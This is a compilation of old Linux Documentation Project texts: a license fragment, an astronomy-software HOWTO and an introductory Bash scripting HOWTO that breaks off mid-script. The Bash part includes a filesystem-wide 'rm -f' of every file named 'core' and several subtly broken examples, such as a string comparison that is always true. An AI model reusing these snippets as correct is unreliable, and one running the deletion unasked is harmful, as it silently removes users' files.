Any publication in standard (paper) book form shall require the citation of the original publisher and author. The publisher and author's names shall appear on all outer surfaces of the book. On all outer surfaces of the book the original publisher's name shall be as large as the title of the work and cited as possessive with respect to the title.

27.2 COPYRIGHT

The copyright to each Open Publication is owned by its author(s) or designee.

27.3 SCOPE OF LICENSE

The following license terms apply to all Open Publication works, unless otherwise explicitly stated in the document.

Mere aggregation of Open Publication works or a portion of an Open Publication work with other works or programs on the same media shall not cause this license to apply to those other works. The aggregate work shall contain a notice specifying the inclusion of the Open Publication material and appropriate copyright notice.

SEVERABILITY. If any part of this license is found to be unenforceable in any jurisdiction, the remaining portions of the license remain in force.

NO WARRANTY. Open Publication works are licensed and provided "as is" without warranty of any kind, express or implied, including, but not limited to, the implied warranties of merchantability and fitness for a particular purpose or a warranty of non-infringement.

27.4 REQUIREMENTS ON MODIFIED WORKS

All modified versions of documents covered by this license, including translations, anthologies, compilations and partial documents, must meet the following requirements:

  • 1. The modified version must be labeled as such.
  • 2. The person making the modifications must be identified and the modifications dated.
  • 3. Acknowledgement of the original author and publisher if applicable must be retained according to normal academic citation practices.
  • 4. The location of the original unmodified document must be identified.
  • 5. The original author's (or authors') name(s) may not be used to assert or imply endorsement of the resulting document without the original author's (or authors') permission.

27.5 GOOD-PRACTICE RECOMMENDATIONS

In addition to the requirements of this license, it is requested from and strongly recommended of redistributors that:

  • 1. If you are distributing Open Publication works on hardcopy or CD-ROM, you provide email notification to the authors of your intent to redistribute at least thirty days before your manuscript or media freeze, to give the authors time to provide updated documents. This notification should describe modifications, if any, made to the document.
  • 2. All substantive modifications (including deletions) be either clearly marked up in the document or else described in an attachment to the document.
  • 3. Finally, while it is not mandatory under this license, it is considered good form to offer a free copy of any hardcopy and CD-ROM expression of an Open Publication-licensed work to its author(s).

27.6 LICENSE OPTIONS

The author(s) and/or publisher of an Open Publication-licensed document may elect certain options by appending language to the reference to or copy of the license. These options are considered part of the license instance and must be included with the license (or its incorporation by reference) in derived works.

A. To prohibit distribution of substantively modified versions without the explicit permission of the author(s). "Substantive modification" is defined as a change to the semantic content of the document, and excludes mere changes in format or typographical corrections.

To accomplish this, add the phrase `Distribution of substantively modified versions of this document is prohibited without the explicit permission of the copyright holder.' to the license reference or copy.

B. To prohibit any publication of this work or derivative works in whole or in part in standard (paper) book form for commercial purposes is prohibited unless prior permission is obtained from the copyright holder.

To accomplish this, add the phrase 'Distribution of the work or derivative of the work in any standard (paper) book form is prohibited unless prior permission is obtained from the copyright holder.' to the license reference or copy.


Linux Astronomy HOWTO

Elwood Downey and John Huggins howto@astronomy.net

$Revision: 1.35 $, $Date: 2001/06/18 18:48:42 $

This document shares tips and resources to utilize Linux solutions in the pursuit of Astronomy.

1. Introduction

  • 1.1 Knowledge Required
  • 1.2 Scope
  • 1.3 Version
  • 1.4 Copyright
  • 1.5 About the authors

2. Software

  • 2.1 Collections
  • 2.2 Planetarium Programs
  • 2.3 Simulators
  • 2.4 Libraries
  • 2.5 Games
  • 2.6 Other

3. Online Tools

  • 3.1 Traditional Form Based Programs
  • 3.2 Java Applets

4. Astronomical Images over the web

  • 4.1 List

5. Organizations

6. Hardware Control

  • 6.1 Telescope Control
  • 6.2 CCD Camera Control

7. Installation Help

8. Projects using Linux


Linux Astronomy HOWTO: Introduction

 Next Previous Contents

1. Introduction

1.1 Knowledge Required

With all the help from major Linux distributions such as SuSE, Redhat, Caldera and many others, Linux based systems are becoming easier to use. However, there is still some need of understanding of basic UNIX skills to make the most of Linux. Thus, this HOWTO will assume that the reader has at least a basic knowledge of using a UNIX system including the ability to compile and install programs.

A few resources we have found useful over the years include:

  • "A Practical Guide to the UNIX System", Mark G. Sobel
  • "Advanced Programming in the UNIX Environment", the late W. Richard Stevens
  • "Running LINUX", Matt Welsh et al.
  • "LINUX Device Drivers", Alessandro Rubini

Similarly, this is not a tutorial or reference for astronomy principles or astronomical instrumentation. Astronomy is perhaps the grandest of all sciences, employing widely disparate disciplines in a bold attempt to understand nothing less than the universe itself. Your interests will lead in many directions. A few references we have used include:

  • "Explanatory Supplement to the Astronomical Almanac", P. Kenneth Seidelmann
  • "Astronomy with your Personal Computer", Peter Duffett-Smith
  • "Astronomy on the Personal Computer", Oliver Montenbruck et al
  • "Textbook on Spherical Astronomy", W. M. Smart
  • "The Astronomy and Astrophysics Encyclopedia", Stephen P. Maran, ed.

1.2 Scope

The authors define the scope of this HOWTO as primarily an index to Linux tools applicable in some fashion to the pursuit of Astronomy. It is NOT our intention to list WWW astronomy references in general. Our own interests tend more towards the technology than the pure science and so we welcome contributions from others who have found Linux tools which contribute in other ways to Astronomy. Please contact us at the address above.

1.3 Version

$Revision: 1.35 $

$Date: 2001/06/18 18:48:42 $

The latest version of this document is always available on the Astronomy Net at Astronomy HOWTO.

We eagerly accept suggestions from you. Send them to Astronomy HOWTO Editors.

1.4 Copyright

Copyright 2000-2001 by Elwood Downey and John Huggins. This document may be distributed only subject to the terms and conditions set forth in the LDP License except that this document must not be distributed in modified form without the author's consent.

A verbatim copy may be reproduced or distributed in any medium physical or electronic without permission of the author. Translations are similarly permitted without express permission if it includes a notice on who translated it. Commercial redistribution is allowed and encouraged; however please notify authors of any such distributions.

Excerpts from the document may be used without prior consent provided that the derivative work contains the verbatim copy or a pointer to a verbatim copy.

Permission is granted to make and distribute verbatim copies of this document provided the copyright notice and this permission notice are preserved on all copies.

In short, we wish to promote dissemination of this information through as many channels as possible. However, we wish to retain copyright on this HOWTO document, and would like to be notified of any plans to redistribute this HOWTO.

1.5 About the authors

Elwood Downey has over twenty years experience in software engineering for various astronomy projects. Learn more about Elwood at Clear Sky Institute.

John Huggins has eleven years experience in hardware engineering including eight years associated with an astronomy project. Learn more at John's Site.


Linux Astronomy HOWTO: Software

 Next Previous Contents

2. Software

2.1 Collections

Here are some links to collections and other indexes of Linux astronomy software.

  • The Linux for Astronomy CDROM
  • Scientific Applications on Linux (SAL), Physics and Astronomy
  • Linux Applications and Utilities Page, Science and Math
  • AstroMake is a utility intended to make installations of some common astronomical packages (in binary form) easy.
  • The linuxastro mailing list also contains a list of applications and packages. For more information, see linuxastro.
  • Astronomy at sourceforge.net

If the above does not appeal to your needs, these links may help:

  • Linux Astronomy Software from the Google Search Engine
  • Astronomy Software from the Yahoo Listings

2.2 Planetarium Programs

Here is discussion of programs which run on Linux for use in finding objects, natural and man-made, in the sky.

  • XEphem has been the pet project of one of us (Downey) for the past 15-odd years. It has grown to become one of the more capable interactive tools for the computation of astronomical ephemerides.
  • XSky is by Terry R. Friedrichsen, terry@venus.sunquest.com. XSky is essentially an interactive sky atlas.
  • Skymap is an astronomical mapping program written in Fortran and C for unix workstations by Doug Mink of the Smithsonian Astrophysical Observatory Telescope Data Center.
  • Xplns reproduces real starry sky on your display of X Window System.
  • Nightfall is an astronomy application for fun, education, and science. It can produce animated views of eclipsing binary stars, calculate synthetic lightcurves and radial velocity curves, and eventually determine the best-fit model for a given set of observational data of an eclipsing binary star system.
  • NOVA free Integrated Observational Environment for astronomers.

2.3 Simulators

Programs that classify themselves as simulators.

  • Celestia Real-time visual simulation of space for Windows and Unix(Linux)
  • OpenUniverse Simulates the Solar System bodies in 3D in Windows and Linux

2.4 Libraries

This section discusses bits and pieces of software that can be used to form the basis for specialized projects.

  • SLALIB, part of the Starlink Project, is a complete library of subroutines for astrometric computations.
  • Astrophysics Source Code Library is a collection of links to numerical astrophysical process models.
  • Astronomy and numerical software source codes is a collection of C codes related to astronomy.
  • How to compute planetary positions.
  • CCD Astronomy on Linux. A library of routines that help control SBIG cameras.

2.5 Games

Yes, games.

  • Orbit - Be a space fighter pilot in Windows or Linux.

2.6 Other

Every list needs a miscellaneous section, and this is it for Software.

  • IRAF is a gigantic but exceptionally capable astronomical analysis system, shepherded over the past 20-odd years by Doug Tody of NOAO. It has accumulated innumerable authoritative contributions from leading astronomers in all areas of astronomical data analysis. If you have a serious interest in astronomical data reduction and significant time to invest, this system will reward you mightily.
  • Nightfall Eclipsing Binary Star Program
  • Xplanet Very realistic rendering program for Earth and other planets and moons. Uses X Windows and OpenGL.
  • StarPlot A 3-Dimensional Star Chart Viewer for Linux. Uses C++ and Gtk+.


Linux Astronomy HOWTO: Online Tools

 Next Previous Contents

3. Online Tools

I know we said we would not start listing Web sites, but here are a few links to sites which offer fully operational tools running online that we feel are especially useful or interesting, from a browser on any platform.

3.1 Traditional Form Based Programs

  • Sun and Moon Rise and Set calculator
  • Web version of MICA
  • JPL Ephemeris Generator
  • Solar System Simulator

3.2 Java Applets

  • GeoAstro Applet Collection by Juergen Giesen
  • Aladin Interactive Sky Atlas
  • Cluster simulator
  • Sky Image Processor
  • J-Track 3D - Satellite Tracking


Linux Astronomy HOWTO: Astronomical Images over the web

 Next Previous Contents

4. Astronomical Images over the web

Much effort exists to allow access to Astronomical image file type such as FITS from any web browser. Here are some pointers.

4.1 List

The folks at harvard have a list of Image Servers and Image Browsers.

  • Astronomical Images Over the Web


Linux Astronomy HOWTO: Organizations

 Next Previous Contents

5. Organizations

  • The yearly Astronomical Data Analysis Software and Systems, ADAAS, Conference Series provides a forum for scientists and computer specialists concerned with algorithms, software and operating systems in the acquisition, reduction and analysis of astronomical data. The program includes invited talks, contributed papers and poster sessions as well as user group meetings and special interest meetings ("BOFs''). All these activities aim to encourage communication between software specialists and users, and also to stimulate further development of astronomical software and systems.
  • The linuxastro mailing list, linuxastro@majordomo.cv.nrao.edu, is for people who are interested in porting astronomical software to linux. For more information, see linuxastro.


Linux Astronomy HOWTO: Hardware Control

 Next Previous Contents

6. Hardware Control

More folks are using Linux to control equipment. Users range from amateur astronomers in the field to professional observatories.

6.1 Telescope Control

  • OCAAS is a complete Observatory Control and Astronomical Analysis System for Linux.
  • XEphem has the capability to communicate with a telescope control daemon process.

6.2 CCD Camera Control

  • Apogee Instruments Inc supports their line of professional CCD cameras under Linux.
  • SBIG offers some assistance with operating their ST7 and ST8 CCD cameras under Linux.
  • CCD Astronomy on Linux These pages describe a number of facets of using astronomical CCD cameras for image acquisition and processing under Linux.


Linux Astronomy HOWTO: Installation Help

 Next Previous Contents

7. Installation Help

You need to know what you're doing with Linux and installing programs, but help is available for some programs. Here are some ways to make life easier.

  • AstroMake is is a utility intended to make installations of some common astronomical packages (in binary form) easy.
  • XEphem requires several elements to exist on your machine. Life is much simpler with the CDROM version of the program as it contains an installation script which loads the appropriate precompiled binary for most systems and places all auxiliary files to the correct spots. See XEphem CDROM


Linux Astronomy HOWTO: Projects using Linux

 Next Previous Contents

8. Projects using Linux

Here is a list of astronomy projects using Linux in whole or in part of their instrumentation:

  • The CHARA Array is an optical interferometer project using Linux in their control system.
  • CAOS Club of Amateurs in Optical Spectroscopy.


BASH Programming - Introduction HOW-TO

by Mike G mikkey at dynamo.com.ar

Thu Jul 27 09:36:18 ART 2000

This article intends to help you to start programming basic-intermediate shell scripts. It does not intend to be an advanced document (see the title). I am NOT an expert nor guru shell programmer. I decided to write this because I'll learn a lot and it might be useful to other people. Any feedback will be apreciated, specially in the patch form :)

1. Introduction

  • 1.1 Getting the latest version
  • 1.2 Requisites
  • 1.3 Uses of this document

2. Very simple Scripts

  • 2.1 Traditional hello world script
  • 2.2 A very simple backup script

3. All about redirection

  • 3.1 Theory and quick reference
  • 3.2 Sample: stdout 2 file
  • 3.3 Sample: stderr 2 file
  • 3.4 Sample: stdout 2 stderr
  • 3.5 Sample: stderr 2 stdout
  • 3.6 Sample: stderr and stdout 2 file

4. Pipes

  • 4.1 What they are and why you'll want to use them
  • 4.2 Sample: simple pipe with sed
  • 4.3 Sample: an alternative to ls -l *.txt

5. Variables

  • 5.1 Sample: Hello World! using variables
  • 5.2 Sample: A very simple backup script (little bit better)
  • 5.3 Local variables

6. Conditionals

  • 6.1 Dry Theory
  • 6.2 Sample: Basic conditional example if .. then
  • 6.3 Sample: Basic conditional example if .. then ... else
  • 6.4 Sample: Conditionals with variables

7. Loops for, while and until

  • 7.1 For sample
  • 7.2 C-like for
  • 7.3 While sample
  • 7.4 Until sample

8. Functions

  • 8.1 Functions sample
  • 8.2 Functions with parameters sample

9. User interfaces

  • 9.1 Using select to make simple menus
  • 9.2 Using the command line

10. Misc

  • 10.1 Reading user input with read
  • 10.2 Arithmetic evaluation
  • 10.3 Finding bash
  • 10.4 Getting the return value of a program
  • 10.5 Capturing a commands output
  • 10.6 Multiple source files

11. Tables

  • 11.1 String comparison operators
  • 11.2 String comparison examples
  • 11.3 Arithmetic operators
  • 11.4 Arithmetic relational operators
  • 11.5 Useful commands

12. More Scripts

  • 12.1 Applying a command to all files in a directory.
  • 12.2 Sample: A very simple backup script (little bit better)
  • 12.3 File re-namer
  • 12.4 File renamer (simple)

13. When something goes wrong (debugging)

  • 13.1 Ways Calling BASH

14. About the document

  • 14.1 (no) warranty
  • 14.2 Translations
  • 14.3 Thanks to
  • 14.4 History
  • 14.5 More resources


BASH Programming - Introduction HOW-TO: Introduction

 Next Previous Contents

1. Introduction

1.1 Getting the latest version

http://www.linuxdoc.org/HOWTO/Bash-Prog-Intro-HOWTO.html

1.2 Requisites

Familiarity with GNU/Linux command lines, and familiarity with basic programming concepts is helpful. While this is not a programming introduction, it explains (or at least tries) many basic concepts.

1.3 Uses of this document

This document tries to be useful in the following situations

  • You have an idea about programming and you want to start coding some shell scripts.
  • You have a vague idea about shell programming and want some sort of reference.
  • You want to see some shell scripts and some comments to start writing your own
  • You are migrating from DOS/Windows (or already did) and want to make "batch" processes.
  • You are a complete nerd and read every how-to available


BASH Programming - Introduction HOW-TO: Very simple Scripts

 Next Previous Contents

2. Very simple Scripts

This HOW-TO will try to give you some hints about shell script programming strongly based on examples.

In this section you'll find some little scripts which will hopefully help you to understand some techniques.

2.1 Traditional hello world script

          #!/bin/bash
          echo Hello World

This script has only two lines. The first indicates the system which program to use to run the file.

The second line is the only action performed by this script, which prints 'Hello World' on the terminal.

If you get something like ./hello.sh: Command not found. Probably the first line '#!/bin/bash' is wrong, issue whereis bash or see 'finding bash' to see how sould you write this line.

2.2 A very simple backup script

        #!/bin/bash
        tar -cZf /var/my-backup.tgz /home/me/

In this script, instead of printing a message on the terminal, we create a tar-ball of a user's home directory. This is NOT intended to be used, a more useful backup script is presented later in this document.


BASH Programming - Introduction HOW-TO: All about redirection

 Next Previous Contents

3. All about redirection

3.1 Theory and quick reference

There are 3 file descriptors, stdin, stdout and stderr (std=standard).

Basically you can:

  1. redirect stdout to a file
  2. redirect stderr to a file
  3. redirect stdout to a stderr
  4. redirect stderr to a stdout
  5. redirect stderr and stdout to a file
  6. redirect stderr and stdout to stdout
  7. redirect stderr and stdout to stderr
1 'represents' stdout and 2 stderr.

A little note for seeing this things: with the less command you can view both stdout (which will remain on the buffer) and the stderr that will be printed on the screen, but erased as you try to 'browse' the buffer.

3.2 Sample: stdout 2 file

This will cause the ouput of a program to be written to a file.

        ls -l > ls-l.txt
Here, a file called 'ls-l.txt' will be created and it will contain what you would see on the screen if you type the command 'ls -l' and execute it.

3.3 Sample: stderr 2 file

This will cause the stderr ouput of a program to be written to a file.

        grep da * 2> grep-errors.txt
Here, a file called 'grep-errors.txt' will be created and it will contain what you would see the stderr portion of the output of the 'grep da *' command.

3.4 Sample: stdout 2 stderr

This will cause the stderr ouput of a program to be written to the same filedescriptor than stdout.

        grep da * 1>&2
Here, the stdout portion of the command is sent to stderr, you may notice that in differen ways.

3.5 Sample: stderr 2 stdout

This will cause the stderr ouput of a program to be written to the same filedescriptor than stdout.

        grep * 2>&1
Here, the stderr portion of the command is sent to stdout, if you pipe to less, you'll see that lines that normally 'dissapear' (as they are written to stderr) are being kept now (because they're on stdout).

3.6 Sample: stderr and stdout 2 file

This will place every output of a program to a file. This is suitable sometimes for cron entries, if you want a command to pass in absolute silence.

        rm -f $(find / -name core) &> /dev/null
This (thinking on the cron entry) will delete every file called 'core' in any directory. Notice that you should be pretty sure of what a command is doing if you are going to wipe it's output.


BASH Programming - Introduction HOW-TO: Pipes

 Next Previous Contents

4. Pipes

This section explains in a very simple and practical way how to use pipes, nd why you may want it.

4.1 What they are and why you'll want to use them

Pipes let you use (very simple, I insist) the output of a program as the input of another one

4.2 Sample: simple pipe with sed

This is very simple way to use pipes.

        ls -l | sed -e "s/[aeio]/u/g"
Here, the following happens: first the command ls -l is executed, and it's output, instead of being printed, is sent (piped) to the sed program, which in turn, prints what it has to.

4.3 Sample: an alternative to ls -l *.txt

Probably, this is a more difficult way to do ls -l *.txt, but it is here for illustrating pipes, not for solving such listing dilema.

        ls -l | grep "\.txt$"
Here, the output of the program ls -l is sent to the grep program, which, in turn, will print lines which match the regex "\.txt$".


BASH Programming - Introduction HOW-TO: Variables

 Next Previous Contents

5. Variables

You can use variables as in any programming languages. There are no data types. A variable in bash can contain a number, a character, a string of characters.

You have no need to declare a variable, just assigning a value to its reference will create it.

5.1 Sample: Hello World! using variables

            #!/bin/bash
            STR="Hello World!"
            echo $STR

Line 2 creates a variable called STR and assigns the string "Hello World!" to it. Then the VALUE of this variable is retrieved by putting the '$' in at the beginning. Please notice (try it!) that if you don't use the '$' sign, the output of the program will be different, and probably not what you want it to be.

5.2 Sample: A very simple backup script (little bit better)

           #!/bin/bash
           OF=/var/my-backup-$(date +%Y%m%d).tgz
           tar -cZf $OF /home/me/

This script introduces another thing. First of all, you should be familiarized with the variable creation and assignation on line 2. Notice the expression '$(date +%Y%m%d)'. If you run the script you'll notice that it runs the command inside the parenthesis, capturing its output.

Notice that in this script, the output filename will be different every day, due to the format switch to the date command(+%Y%m%d). You can change this by specifying a different format.

Some more examples:

echo ls

echo $(ls)

5.3 Local variables

Local variables can be created by using the keyword local.

                #!/bin/bash
                HELLO=Hello
                function hello {
                        local HELLO=World
                        echo $HELLO
                }
                echo $HELLO
                hello
                echo $HELLO

This example should be enought to show how to use a local variable.


BASH Programming - Introduction HOW-TO: Conditionals

 Next Previous Contents

6. Conditionals

Conditionals let you decide whether to perform an action or not, this decision is taken by evaluating an expression.

6.1 Dry Theory

Conditionals have many forms. The most basic form is: if expression then statement where 'statement' is only executed if 'expression' evaluates to true. '2<1' is an expresion that evaluates to false, while '2>1' evaluates to true.xs

Conditionals have other forms such as: if expression then statement1 else statement2. Here 'statement1' is executed if 'expression' is true,otherwise 'statement2' is executed.

Yet another form of conditionals is: if expression1 then statement1 else if expression2 then statement2 else statement3. In this form there's added only the "ELSE IF 'expression2' THEN 'statement2'" which makes statement2 being executed if expression2 evaluates to true. The rest is as you may imagine (see previous forms).

A word about syntax:

The base for the 'if' constructions in bash is this:

if [expression];

then

code if 'expression' is true.

fi

6.2 Sample: Basic conditional example if .. then

            #!/bin/bash
            if [ "foo" = "foo" ]; then
               echo expression evaluated as true
            fi

The code to be executed if the expression within braces is true can be found after the 'then' word and before 'fi' which indicates the end of the conditionally executed code.

6.3 Sample: Basic conditional example if .. then ... else

            #!/bin/bash
            if [ "foo" = "foo" ]; then
               echo expression evaluated as true
            else
               echo expression evaluated as false
            fi

6.4 Sample: Conditionals with variables

            #!/bin/bash
            T1="foo"
            T2="bar"
            if [ "$T1" = "$T2" ]; then
                echo expression evaluated as true
            else
                echo expression evaluated as false
            fi


BASH Programming - Introduction HOW-TO: Loops for, while and until

 Next Previous Contents

7. Loops for, while and until

In this section you'll find for, while and until loops.

The for loop is a little bit different from other programming languages. Basically, it let's you iterate over a series of 'words' within a string.

The while executes a piece of code if the control expression is true, and only stops when it is false (or a explicit break is found within the executed code.

The until loop is almost equal to the while loop, except that the code is executed while the control expression evaluates to false.

If you suspect that while and until are very similar you are right.

7.1 For sample

        #!/bin/bash
        for i in $( ls ); do
            echo item: $i
        done

On the second line, we declare i to be the variable that will take the different values contained in $( ls ).

The third line could be longer if needed, or there could be more lines before the done (4).

'done' (4) indicates that the code that used the value of $i has finished and $i can take a new value.

This script has very little sense, but a more useful way to use the for loop would be to use it to match only certain files on the previous example

7.2 C-like for

fiesh suggested adding this form of looping. It's a for loop more similar to C/perl... for.

        #!/bin/bash
        for i in `seq 1 10`;
        do
                echo $i
        done

7.3 While sample

         #!/bin/bash
         COUNTER=0
         while [  $COUNTER -lt 10 ]; do
             echo The counter is $COUNTER
             let COUNTER=COUNTER+1
         done

This script 'emulates' the well known (C, Pascal, perl, etc) 'for' structure

7.4 Until sample

         #!/bin/bash
         COUNTER=20
         until [  $COUNTER -lt 10 ]; do
             echo COUNTER $COUNTER
             let COUNTER-=1
         done


BASH Programming - Introduction HOW-TO: Functions

 Next Previous Contents

8. Functions

As in almost any programming language, you can use functions to group pieces of code in a more logical way or practice the divine art of recursion.

Declaring a function is just a matter of writing function my_func { my_code }.

Calling a function is just like calling another program, you just write its name.

8.1 Functions sample

           #!/bin/bash
           function quit {
               exit
           }
           function hello {
               echo Hello!
           }
           hello
           quit
           echo foo

Lines 2-4 contain the 'quit' function. Lines 5-7 contain the 'hello' function If you are not absolutely sure about what this script does, please try it!.

Notice that a functions don't need to be declared in any specific order.

When running the script you'll notice that first: the function 'hello' is called, second the 'quit' function, and the program never reaches line 10.

8.2 Functions with parameters sample

                #!/bin/bash
                function quit {
                   exit
                }
                function e {
                    echo $1
                }
                e Hello
                e World
                quit
                echo foo

This script is almost identically to the previous one. The main difference is the funcion 'e'. This function, prints the first argument it receives. Arguments, within funtions, are treated in the same manner as arguments given to the script.


BASH Programming - Introduction HOW-TO: User interfaces

 Next Previous Contents

9. User interfaces

9.1 Using select to make simple menus

           #!/bin/bash
           OPTIONS="Hello Quit"
           select opt in $OPTIONS; do
               if [ "$opt" = "Quit" ]; then
                echo done
                exit
               elif [ "$opt" = "Hello" ]; then
                echo Hello World
               else
                clear
                echo bad option
               fi
           done

If you run this script you'll see that it is a programmer's dream for text based menus. You'll probably notice that it's very similar to the 'for' construction, only rather than looping for each 'word' in $OPTIONS, it prompts the user.

9.2 Using the command line

          #!/bin/bash
          if [ -z "$1" ]; then
              echo usage: $0 directory
              exit
          fi
          SRCD=$1
          TGTD="/var/backups/"
          OF=home-$(date +%Y%m%d).tgz
          tar -cZf $TGTD$OF $SRCD

What this script does should be clear to you. The expression in the first conditional tests if the program has received an argument ($1) and quits if it didn't, showing the user a little usage message. The rest of the script should be clear at this point.


BASH Programming - Introduction HOW-TO: Misc

 Next Previous Contents

10. Misc

10.1 Reading user input with read

In many ocations you may want to prompt the user for some input, and there are several ways to achive this. This is one of those ways:

                #!/bin/bash
                echo Please, enter your name
                read NAME
                echo "Hi $NAME!"

As a variant, you can get multiple values with read, this example may clarify this.

                #!/bin/bash
                echo Please, enter your firstname and lastname
                read FN LN
                echo "Hi! $LN, $FN !"

10.2 Arithmetic evaluation

On the command line (or a shell) try this:

echo 1 + 1

If you expected to see '2' you'll be disappointed. What if you want BASH to evaluate some numbers you have? The solution is this:

echo $((1+1))

This will produce a more 'logical' output. This is to evaluate an arithmetic expression. You can achieve this also like this:

echo $[1+1]

If you need to use fractions, or more math or you just want it, you can use bc to evaluate arithmetic expressions.

if i ran "echo $[3/4]" at the command prompt, it would return 0 because bash only uses integers when answering. If you ran "echo 3/4|bc -l", it would properly return 0.75.

10.3 Finding bash

From a message from mike (see Thanks to)

you always use #!/bin/bash .. you might was to give an example of

how to find where bash is located.

'locate bash' is preferred, but not all machines have locate.

'find ./ -name bash' from the root dir will work, usually.

Suggested locations to check:

ls -l /bin/bash

ls -l /sbin/bash

ls -l /usr/local/bin/bash

ls -l /usr/bin/bash

ls -l /usr/sbin/bash

ls -l /usr/local/sbin/bash

(can't think of any other dirs offhand... i've found it in

most of these places before on different system).

You may try also 'which bash'.

10.4 Getting the return value of a program

In bash, the return value of a program is stored in a special variable called $?.

This illustrates how to capture the return value of a program, I assume that the directory dada does not exist. (This was also suggested by mike)

        #!/bin/bash
        cd /dada &> /dev/null
        echo rv: $?
        cd $(pwd) &> /dev/null
        echo rv: $?

10.5 Capturing a commands output

This little scripts show all tables from all databases (assuming you got MySQL installed). Also, consider changing the 'mysql' command to use a valid username and password.

        #!/bin/bash
        DBS=`mysql -uroot  -e"show databases"`
        for b in $DBS ;
        do
                mysql -uroot -e"show tables from $b"
        done

10.6 Multiple source files

You can use multiple files with the command source.

__TO-DO__


BASH Programming - Introduction HOW-TO: Tables

 Next Previous Contents

11. Tables

11.1 String comparison operators

(1) s1 = s2

(2) s1 != s2

(3) s1 < s2

(4) s1 > s2

(5) -n s1

(6) -z s1

(1) s1 matches s2

(2) s1 does not match s2

(3) __TO-DO__

(4) __TO-DO__

(5) s1 is not null (contains one or more characters)

(6) s1 is null

11.2 String comparison examples

Comparing two strings.

        #!/bin/bash
        S1='string'
        S2='String'
        if [ $S1=$S2 ];
        then
                echo "S1('$S1') is not equal to S2('$S2')"
        fi
        if [ $S1=$S1 ];
        then
                echo "S1('$S1') is equal to S1('$S1')"
        fi

I quote here a note from a mail, sent buy Andreas Beck, refering to use if [ $1 = $2 ].

This is not quite a good idea, as if either $S1 or $S2 is empty, you will get a parse error. x$1=x$2 or "$1"="$2" is better.

11.3 Arithmetic operators

+

-

*

/

% (remainder)

11.4 Arithmetic relational operators

-lt (<)

-gt (>)

-le (<=)

-ge (>=)

-eq (==)

-ne (!=)

C programmer's should simple map the operator to its corresponding parenthesis.

11.5 Useful commands

This section was re-written by Kees (see thank to...)

Some of these command's almost contain complete programming languages. From those commands only the basics will be explained. For a more detailed description, have a closer look at the man pages of each command.

sed (stream editor)

Sed is a non-interactive editor. Instead of altering a file by moving the cursor on the screen, you use a script of editing instructions to sed, plus the name of the file to edit. You can also describe sed as a filter. Let's have a look at some examples:

        $sed 's/to_be_replaced/replaced/g' /tmp/dummy

Sed replaces the string 'to_be_replaced' with the string 'replaced' and reads from the /tmp/dummy file. The result will be sent to stdout (normally the console) but you can also add '> capture' to the end of the line above so that sed sends the output to the file 'capture'.

        $sed 12, 18d /tmp/dummy

Sed shows all lines except lines 12 to 18. The original file is not altered by this command.

awk (manipulation of datafiles, text retrieval and processing)

Many implementations of the AWK programming language exist (most known interpreters are GNU's gawk and 'new awk' mawk.) The principle is simple: AWK scans for a pattern, and for every matching pattern a action will be performed.

Again, I've created a dummy file containing the following lines:

"test123

test

tteesstt"

        $awk '/test/ {print}' /tmp/dummy

test123

test

The pattern AWK looks for is 'test' and the action it performs when it found a line in the file /tmp/dummy with the string 'test' is 'print'.

        $awk '/test/ {i=i+1} END {print i}' /tmp/dummy

3

When you're searching for many patterns, you should replace the text between the quotes with '-f file.awk' so you can put all patterns and actions in 'file.awk'.

grep (print lines matching a search pattern)

We've already seen quite a few grep commands in the previous chapters, that display the lines matching a pattern. But grep can do more.

        $grep "look for this" /var/log/messages -c

12

The string "look for this" has been found 12 times in the file /var/log/messages.

[ok, this example was a fake, the /var/log/messages was tweaked :-)]

wc (counts lines, words and bytes)

In the following example, we see that the output is not what we expected. The dummy file, as used in this example, contains the following text: "bash introduction howto test file"

        $wc --words --lines --bytes /tmp/dummy

2 5 34 /tmp/dummy

Wc doesn't care about the parameter order. Wc always prints them in a standard order, which is, as you can see: .

sort (sort lines of text files)

This time the dummy file contains the following text:

"b

c

a"

        $sort /tmp/dummy

This is what the output looks like:

a

b

c

Commands shouldn't be that easy :-) bc (a calculator programming language)

Bc is accepting calculations from command line (input from file. not from redirector or pipe), but also from a user interface. The following demonstration shows some of the commands. Note that

I start bc using the -q parameter to avoid a welcome message.

   $bc -q

1 == 5

0

0.05 == 0.05

1

5 != 5

0

2 ^ 8

256

sqrt(9)

3

while (i != 9) {

i = i + 1;

print i

}

123456789

quit

tput (initialize a terminal or query terminfo database)

A little demonstration of tput's capabilities:

        $tput cup 10 4

The prompt appears at (y10,x4).

        $tput reset

Clears screen and prompt appears at (y1,x1). Note that (y0,x0) is the upper left corner.

        $tput cols
80

Shows the number of characters possible in x direction.

It it higly recommended to be familiarized with these programs (at least). There are tons of little programs that will let you do real magic on the command line.

[some samples are taken from man pages or FAQs]


BASH Programming - Introduction HOW-TO: More Scripts

 Next Previous Contents

12. More Scripts

12.1 Applying a command to all files in a directory.

12.2 Sample: A very simple backup script (little bit better)

            #!/bin/bash
            SRCD="/home/"
            TGTD="/var/backups/"
            OF=home-$(date +%Y%m%d).tgz
            tar -cZf $TGTD$OF $SRCD

12.3 File re-namer

             #!/bin/sh
             # renna: rename multiple files according to several rules
             # written by felix hudson Jan - 2000

             #first check for the various 'modes' that this program has
             #if the first ($1) condition matches then we execute that portion of the
             #program and then exit

             # check for the prefix condition
             if [ $1 = p ]; then

             #we now get rid of the mode ($1) variable and prefix ($2)
               prefix=$2 ; shift ; shift

             # a quick check to see if any files were given
             # if none then its better not to do anything than rename some non-existent
             # files!!

               if [$1 = ]; then
                  echo "no files given"
                  exit 0
               fi

             # this for loop iterates through all of the files that we gave the program
             # it does one rename per file given
               for file in $*
                 do
                 mv ${file} $prefix$file
               done

             #we now exit the program
               exit 0
             fi

             # check for a suffix rename
             # the rest of this part is virtually identical to the previous section
             # please see those notes
             if [ $1 = s ]; then
               suffix=$2 ; shift ; shift

                if [$1 = ]; then
                 echo "no files given"
                exit 0
                fi

              for file in $*
               do
                mv ${file} $file$suffix
              done

              exit 0
             fi

             # check for the replacement rename
             if [ $1 = r ]; then

               shift

             # i included this bit as to not damage any files if the user does not specify
             # anything to be done
             # just a safety measure

               if [ $# -lt 3 ] ; then
                 echo "usage: renna r [expression] [replacement] files... "
                 exit 0
               fi

             # remove other information
               OLD=$1 ; NEW=$2 ; shift ; shift

             # this for loop iterates through all of the files that we give the program
             # it does one rename per file given using the program 'sed'
             # this is a sinple command line program that parses standard input and
             # replaces a set expression with a give string
             # here we pass it the file name ( as standard input) and replace the nessesary
             # text

               for file in $*
               do
                 new=`echo ${file} | sed s/${OLD}/${NEW}/g`
                 mv ${file} $new
               done
             exit 0
             fi

             # if we have reached here then nothing proper was passed to the program
